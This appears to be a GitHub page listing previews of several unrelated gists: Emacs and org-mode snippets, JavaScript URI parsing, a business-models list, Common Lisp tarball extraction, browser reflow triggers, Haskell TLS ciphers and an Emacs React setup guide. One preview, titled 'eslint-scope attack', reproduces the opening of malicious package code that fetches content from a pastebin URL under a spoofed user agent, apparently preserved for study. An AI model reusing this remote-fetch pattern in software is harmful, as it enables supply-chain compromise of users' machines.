Skip to content

Instantly share code, notes, and snippets.

View CodyReichert's full-sized avatar
🤠
cowboy coding

Cody Reichert CodyReichert

🤠
cowboy coding
View GitHub Profile
(require 'moz)
;;; Usage
;; Run M-x moz-reload-on-save-mode to switch moz-reload on/off in the
;; current buffer.
;; When active, saving the buffer triggers Firefox
;; to reload its current page.
(define-minor-mode moz-reload-on-save-mode
"Moz Reload On Save Minor Mode"
@jlong
jlong / uri.js
Created April 20, 2012 13:29
URI Parsing with Javascript
var parser = document.createElement('a');
parser.href = "http://example.com:3000/pathname/?search=test#hash";
parser.protocol; // => "http:"
parser.hostname; // => "example.com"
parser.port; // => "3000"
parser.pathname; // => "/pathname/"
parser.search; // => "?search=test"
parser.hash; // => "#hash"
parser.host; // => "example.com:3000"
@ndarville
ndarville / business-models.md
Last active January 13, 2024 17:27
Business models based on the compiled list at http://news.ycombinator.com/item?id=4924647. I find the link very hard to browse, so I made a simple version in Markdown instead.

Business Models

Advertising

Models Examples
Display ads Yahoo!
Search ads Google
@fukamachi
fukamachi / gist:6364983
Last active May 8, 2022 03:04
A Common Lisp function to extract a tarball (.tar.gz) file to a directory (*default-pathname-defaults*).
(ql:quickload '(chipz archive))
(defun extract-tarball (pathname)
"Extract a tarball (.tar.gz) file to a directory (*default-pathname-defaults*)."
(with-open-file (tarball-stream pathname
:direction :input
:element-type '(unsigned-byte 8))
(archive::extract-files-from-archive
(archive:open-archive 'archive:tar-archive
(chipz:make-decompressing-stream 'chipz:gzip tarball-stream)
@gl-sergei
gl-sergei / inbox.el
Last active December 21, 2022 21:38
Display number of unread messages in Emacs modeline (with mu and mu4e)
;;; inbox.el --- display inbox status information -*- coding: utf-8 -*-
;; Copyright (C) 2014 Sergei Glushchenko.
;; Author: Sergei Glushchenko <gl.sergei@gmail.com>
;; This program is free software: you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published by
;; the Free Software Foundation, either version 3 of the License, or
;; (at your option) any later version.
;; org schedule first monday of every month
;; SCHEDULED: <%%(diary-float t 1 1)>
(diary-float t 1 1)
;; org schedule mon-fri
;; SCHEDULED: <%%(memq (calendar-day-of-week date) '(1 2 3 4 5))>
(memq (calendar-day-of-week date) '(1 2 3 4 5))
@paulirish
paulirish / what-forces-layout.md
Last active April 14, 2024 08:07
What forces layout/reflow. The comprehensive list.

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics
  • elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
@creichert
creichert / fetch-url.hs
Last active January 9, 2020 19:39
Customize haskell http-client supported TLS ciphers
#!/usr/bin/env stack
-- stack -v runghc --package connection --package http-client --package http-client-tls --package tls --package data-default
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE ViewPatterns #-}
{-# OPTIONS_GHC -fno-warn-deprecations #-}
import qualified Network.Connection as NC
import qualified Network.HTTP.Client as Http
import qualified Network.HTTP.Client.TLS as Http
import qualified Network.TLS as TLS
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@CodyReichert
CodyReichert / react-es6-flow-emacs-configuration.md
Last active September 26, 2023 05:56
Configuring Emacs for react, es6, and flow

Configuring Emacs for react, es6, and flow

For a while, JSX and new es6 syntax had flaky support in emacs, but there's been huge work on a lot of packages. Using emacs for JavaScript with React, ES6, and Flow (or Typescript, etc) is really easy and powerful in Emacs these days.

This is how you can work on modern web development projects with full support for tooling like JSX, Flow types, live eslint errors, automatic prettier.js formatting, and more.

Set up web-mode

web-mode provides most of the underlying functionality, so a huge shout-out to the maintainer(s) there.